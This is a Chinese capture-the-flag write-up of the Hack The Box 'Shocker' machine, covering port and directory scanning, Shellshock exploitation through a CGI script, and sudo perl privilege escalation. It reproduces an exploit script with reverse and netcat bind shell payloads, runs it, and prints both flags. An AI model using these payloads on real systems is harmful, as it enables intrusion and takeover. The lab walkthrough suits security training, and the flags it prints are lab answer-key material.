HTB:Shocker[WriteUP]

目录

连接至HTB服务器并启动靶机

1.How many TCP ports are listening on Shocker?

使用nmap对靶机TCP端口进行开放扫描

2.What is the name of the directory available on the webserver that is a standard name known for running scripts via the Common Gateway Interface?

使用nmap对靶机80、2222端口进行脚本、服务信息扫描

使用浏览器直接访问靶机80端口

使用ffuf对靶机进行路径FUZZ

3.What is the name of the script in the cgi-bin directory?

继续使用ffuf对该目录进行文件扫描

4.Optional question: The output from user.sh matches the output from what standard Linux command?

5.What 2014 CVE ID describes a remote code execution vulnerability in Bash when invoked through Apache CGI?

使用searchsploit搜索关键词

查看该EXP代码

6.What user is the webserver running as on Shocker?

使用python运行该EXP脚本

7.Submit the flag located in the shelly user's home directory.

USER_FLAG:247db5ad8edaf851b335894b3331607f

8.Which binary can the shelly user can run as root on Shocker?

查看该用户可特权运行的命令

9.Submit the flag located in root's home directory.

直接到GTFOBins查询相关提权命令

ROOT_FLAG:0197a11120606d77dc7881331357decb


连接至HTB服务器并启动靶机

靶机IP:10.10.10.56

分配IP:10.10.14.12


1.How many TCP ports are listening on Shocker?

使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.10.56

由扫描结果可见,靶机开放端口:80、2222共2个端口


2.What is the name of the directory available on the webserver that is a standard name known for running scripts via the Common Gateway Interface?

使用nmap对靶机80、2222端口进行脚本、服务信息扫描

nmap -p 80,2222 -sCV 10.10.10.56

使用浏览器直接访问靶机80端口

可以看到页面就是纯纯的静态HTML,而且技术栈也是相当干净

使用ffuf对靶机进行路径FUZZ

ffuf -u http://10.10.10.56/FUZZ -w ../dictionary/common.txt

上面扫到了一个目录cgi-bin


3.What is the name of the script in the cgi-bin directory?

继续使用ffuf对该目录进行文件扫描

ffuf -u http://10.10.10.56/cgi-bin/FUZZ -w ../dictionary/common.txt -e .php,.py,.bak,.sh

user.sh下载到本地

wget http://10.10.10.56/cgi-bin/user.sh -O user.sh

查看user.sh内容

cat user.sh

Content-Type: text/plain

Just an uptime test script

 08:48:37 up  1:11,  0 users,  load average: 0.00, 0.00, 0.00


4.Optional question: The output from user.sh matches the output from what standard Linux command?

直接运行user.sh所输出的内容,与uptime标准输出格式一致

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# uptime  
 09:16:20 up 13:42,  3 users,  load average: 0.07, 0.07, 0.06


5.What 2014 CVE ID describes a remote code execution vulnerability in Bash when invoked through Apache CGI?

通过前面Wappalyzer插件可知靶机使用Apache 2.4.18

使用searchsploit搜索关键词

searchsploit Apache cgi

取出Shellshock相关描述的EXP到当前目录下

searchsploit -m 34900.py

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 34900.py
  Exploit: Apache mod_cgi - 'Shellshock' Remote Command Injection
      URL: https://www.exploit-db.com/exploits/34900
     Path: /usr/share/exploitdb/exploits/linux/remote/34900.py
    Codes: CVE-2014-6278, CVE-2014-6271
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/Desktop/temp/34900.py

由输出可知,该EXP基于漏洞:CVE-2014-6271

查看该EXP代码

cat 34900.py
#!/usr/bin/env python
from socket import *
from threading import Thread
import thread, time, httplib, urllib, sysstop = False
proxyhost = ""
proxyport = 0def usage():print """Shellshock apache mod_cgi remote exploitUsage:
./exploit.py var=<value>Vars:
rhost: victim host
rport: victim port for TCP shell binding
lhost: attacker host for TCP shell reversing
lport: attacker port for TCP shell reversing
pages:  specific cgi vulnerable pages (separated by comma)
proxy: host:port proxyPayloads:
"reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport)
"bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport)Example:./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234
./exploit.py payload=bind rhost=1.2.3.4 rport=1234Credits:Federico Galatolo 2014
"""sys.exit(0)def exploit(lhost,lport,rhost,rport,payload,pages):headers = {"Cookie": payload, "Referer": payload}for page in pages:if stop:returnprint "[-] Trying exploit on : "+pageif proxyhost != "":c = httplib.HTTPConnection(proxyhost,proxyport)c.request("GET","http://"+rhost+page,headers=headers)res = c.getresponse()else:c = httplib.HTTPConnection(rhost)c.request("GET",page,headers=headers)res = c.getresponse()if res.status == 404:print "[*] 404 on : "+pagetime.sleep(1)args = {}for arg in sys.argv[1:]:ar = arg.split("=")args[ar[0]] = ar[1]
try:args['payload']
except:usage()if args['payload'] == 'reverse':try:lhost = args['lhost']lport = int(args['lport'])rhost = args['rhost']payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"except:usage()
elif args['payload'] == 'bind':try:rhost = args['rhost']rport = args['rport']payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"except:usage()
else:print "[*] Unsupported payload"usage()try:pages = args['pages'].split(",")
except:pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"]try:proxyhost,proxyport = args['proxy'].split(":")
except:passif args['payload'] == 'reverse':serversocket = socket(AF_INET, SOCK_STREAM)buff = 1024addr = (lhost, lport)serversocket.bind(addr)serversocket.listen(10)print "[!] Started reverse shell handler"thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))
if args['payload'] == 'bind':serversocket = socket(AF_INET, SOCK_STREAM)addr = (rhost,int(rport))thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,))buff = 1024while True:if args['payload'] == 'reverse':clientsocket, clientaddr = serversocket.accept()print "[!] Successfully exploited"print "[!] Incoming connection from "+clientaddr[0]stop = Trueclientsocket.settimeout(3)while True:reply = raw_input(clientaddr[0]+"> ")clientsocket.sendall(reply+"\n")try:data = clientsocket.recv(buff)print dataexcept:passif args['payload'] == 'bind':try:serversocket = socket(AF_INET, SOCK_STREAM)time.sleep(1)serversocket.connect(addr)print "[!] Successfully exploited"print "[!] Connected to "+rhoststop = Trueserversocket.settimeout(3)while True:reply = raw_input(rhost+"> ")serversocket.sendall(reply+"\n")data = serversocket.recv(buff)print dataexcept:pass

6.What user is the webserver running as on Shocker?

使用python运行该EXP脚本

python2 34900.py rhost=10.10.10.56 rport=80 lhost=10.10.14.12 lport=1425 pages=/cgi-bin/user.sh payload=reverse

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python2 34900.py rhost=10.10.10.56 rport=80 lhost=10.10.14.12 lport=1425 pages=/cgi-bin/user.sh payload=reverse
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-bin/user.sh
[!] Successfully exploited
[!] Incoming connection from 10.10.10.56
10.10.10.56> whoami
shelly

由whoami命令回显可知,当前用户为:shelly


7.Submit the flag located in the shelly user's home directory.

查找user_flag位置并查看其内容

10.10.10.56> find / -name 'user.txt' 2>/dev/null
/home/shelly/user.txt

10.10.10.56> cat /home/shelly/user.txt
247db5ad8edaf851b335894b3331607f

USER_FLAG:247db5ad8edaf851b335894b3331607f


8.Which binary can the shelly user can run as root on Shocker?

查看该用户可特权运行的命令

sudo -l

10.10.10.56> sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

可特权运行的文件为:perl


9.Submit the flag located in root's home directory.

直接到GTFOBins查询相关提权命令

sudo /usr/bin/perl -e 'exec "/bin/sh";'

10.10.10.56> sudo /usr/bin/perl -e 'exec "/bin/sh";'
whoami
10.10.10.56> root

查找root_flag位置并查看其内容

10.10.10.56> find / -name 'root.txt'
/root/root.txt

10.10.10.56> cat /root/root.txt
0197a11120606d77dc7881331357decb

ROOT_FLAG:0197a11120606d77dc7881331357decb

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/59102.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【算法赌场】SPFA算法

1.算法简介 SPFA 算法的全称是&#xff1a;Shortest Path Faster Algorithm&#xff0c;是西南交通大学 段凡丁 于 1994 年发表的论文中的名字。不过&#xff0c;段凡丁的证明是错误的&#xff0c;且在 Bellman-Ford 算法提出后不久&#xff08;1957 年&#xff09;已有队列优化…

YOLOv11改进策略【卷积层】| CGblock 内容引导网络 利用不同层次信息,提高多类别分类能力 (含二次创新)

一、本文介绍 本文记录的是利用CGNet中的CG block模块优化YOLOv11的目标检测网络模型。CG block通过局部特征提取器、周围环境提取器、联合特征提取器和全局环境提取器来提取局部特征、周围环境和全局环境信息,充分利用不同层次的信息。本文将其应用到v11中,并进行二次创新,…

并发编程(6)——future、promise、async,线程池

六、day6 今天学习如何使用std::future、std::async、std::promise。主要内容包括&#xff1a; 参考&#xff1a; https://llfc.club/category?catid225RaiVNI8pFDD5L4m807g7ZwmF#!aid/2Agk6II6SsiG8DwPawfXHsP4bUT https://github.com/Mq-b/ModernCpp-ConcurrentProgrammin…

力扣——另一个的子树(C语言)

1.题目&#xff1a; 给你两棵二叉树 root 和 subRoot 。检验 root 中是否包含和 subRoot 具有相同结构和节点值的子树。如果存在&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。二叉树 tree 的一棵子树包括 tree 的某个节点和这个节点的所有后代节点。tree …

【C++】对左值引用右值引用的深入理解(右值引用与移动语义)

&#x1f308; 个人主页&#xff1a;谁在夜里看海. &#x1f525; 个人专栏&#xff1a;《C系列》《Linux系列》 ⛰️ 天高地阔&#xff0c;欲往观之。 ​ 目录 前言&#xff1a;对引用的底层理解 一、左值与右值 提问&#xff1a;左值在左&#xff0c;右值在右&#xff1f;…

解决 ClickHouse 高可用集群中 VRID 冲突问题:基于 chproxy 和 keepalived 的实践分析

Part1背景描述 近期&#xff0c;我们部署了两套 ClickHouse 生产集群&#xff0c;分别位于同城的两个数据中心。这两套集群的数据保持一致&#xff0c;以便在一个数据中心发生故障时&#xff0c;能够迅速切换应用至另一个数据中心的 ClickHouse 实例&#xff0c;确保服务连续性…

B2C电商平台如何提升转化率 小程序商城如何做好运营

在竞争激烈的电商市场中&#xff0c;提升转化率是每个B2C电商平台的重要目标。转化率直接影响销售业绩和盈利能力&#xff0c;因此&#xff0c;了解如何优化用户体验、增强客户信任和提高购买动机是至关重要的。商淘云分享一些有效的策略&#xff0c;帮助B2C电商平台提升转化率…

慢SQL优化方向

口语化答案 为了优化慢 SQL 查询&#xff0c;我通常会从几个方面入手&#xff1a; 首先&#xff0c;我会检查查询语句本身。确保使用了合适的索引&#xff0c;避免全表扫描。比如&#xff0c;在WHERE、JOIN或ORDER BY子句中涉及的列上创建索引&#xff0c;这样可以大大提升查…

智能合约中的AI应用

在智能合约中引入人工智能&#xff08;AI&#xff09;技术可以提升自动化、智能化和数据处理能力&#xff0c;从而在多个领域中带来创新应用。智能合约是指运行在区块链网络上的自动执行程序&#xff0c;可以通过预先设定的规则进行交易或事件触发。将AI与智能合约结合可以使合…

RK3568平台开发系列讲解(字符设备驱动篇)Linux设备分类

🚀返回专栏总目录 文章目录 一、字符设备(是以字节为单位进行输入输出)二、块设备:块设备是以块为单位进行输入输出三、网络设备沉淀、分享、成长,让自己和他人都能有所收获!😄 一、字符设备(是以字节为单位进行输入输出) 串口、鼠标 字符设备没有固定的大小,也没…

STM32Fxx读写eeprom(AT24C16)

一.I2C 协议简介 I2C 通讯协议 (Inter &#xff0d; Integrated Circuit) 是由 Phiilps 公司开发的&#xff0c;由于它引脚少&#xff0c;硬件实现简单&#xff0c;可扩展性强&#xff0c;不需要 USART、CAN 等通讯协议的外部收发设备&#xff0c;现在被广泛地使用在系统内多个…

GitHub每日最火火火项目(11.4)

twentyhq/twenty&#xff1a;“twentyhq/twenty”致力于打造一个由社区驱动的现代版 Salesforce 替代品。在企业管理软件领域&#xff0c;Salesforce 一直占据着重要地位&#xff0c;但可能存在一些成本高、定制性有限等问题。这个项目使用 TypeScript 语言开发&#xff0c;旨在…

idea使用Translation插件实现翻译

1.打开idea&#xff0c;settings&#xff0c;选择plugins&#xff0c;搜索插件Translation&#xff0c;安装 2.选择翻译引擎 3.配置引擎&#xff0c;以有道词典为例 3.1 获取应用ID&#xff0c;应用秘钥 3.1.1 创建应用 点击进入有道智云控制台 3.1.2 复制ID和秘钥 3.2 idea设…

torch.from_numpy()和torch.tensor()区别

torch.from_numpy()和torch.tensor()都可以用于创建PyTorch张量&#xff0c;但它们有以下区别&#xff1a; 1. 数据共享与内存占用 torch.from_numpy()&#xff1a;这个函数创建的PyTorch张量与原始numpy数组共享相同的数据内存。这意味着&#xff0c;如果修改了numpy数组中的…

【论文精读】LPT: Long-tailed prompt tuning for image classification

&#x1f308; 个人主页&#xff1a;十二月的猫-CSDN博客 &#x1f525; 系列专栏&#xff1a; &#x1f3c0;论文精读_十二月的猫的博客-CSDN博客 &#x1f4aa;&#x1f3fb; 十二月的寒冬阻挡不了春天的脚步&#xff0c;十二点的黑夜遮蔽不住黎明的曙光 目录 1. 摘要 2. …

【SQL Server】解决因使用 varchar 类型存储 Unicode 字符串导致的中文显示乱码问题

问题描述 导入 SQL 到 SQL Server 数据库后&#xff0c;存在部分列的中文显示异常的问题。 原因分析 观察发现显示异常的字段的数据类型是 varchar&#xff0c;而显示正常的字段的数据类型是 nvarchar。 而且&#xff0c;SQL 文件中所有字符串前面都带有 N 的前缀。 在 SQL 中…

dify实战案例分享-基于多模态模型的发票识别

1 什么是dify Dify是一个开源的大语言模型&#xff08;LLM&#xff09;应用开发平台&#xff0c;旨在简化和加速生成式AI应用的创建和部署。它结合了后端即服务&#xff08;Backend as Service, BaaS&#xff09;和LLMOps的理念&#xff0c;使开发者能够快速搭建生产级的AI应用…

电机控制储备知识 一 电机驱动本质分析以及磁相关的使用场景

一&#xff1a;电机旋转的原因 1.电机基本认识 &#xff08;1&#xff09;电机是一种动力装置&#xff0c;能够将电能转换为动能 电机拥有体积小 、动力足&#xff0c;控制精细灵活的特点 完整的电机系统&#xff1a;电机&#xff08;减速器 传感器&#xff09; 电机驱动器&a…

ubuntu交叉编译dbus库给arm平台使用

1.下载dbus库源码 https://www.freedesktop.org/wiki/Software/dbus 克隆源码: https://gitlab.freedesktop.org/dbus/dbus/-/tree/dbus-1.12?ref_type=heads 下载1.12.20版本: 指定pkgconfig环境变量: export PKG_CONFIG_PATH=$PKG_CONFIG_PATH:$PWD/../expat-2.3.…

【Java】java | 配置静态资源 | web服务器 | vue build后放到SpringBoot项目中 | 前后端不分离

一、概述 项目vue springboot&#xff0c;前后端分离项目&#xff1b;但部署时&#xff0c;不想用nginx代理&#xff0c;想要前端npm run build:prod后&#xff0c;将dist的目录整体复制到SpringBoot项目中&#xff0c;通过静态资源映射&#xff0c;节省一个端口。 二、操作步…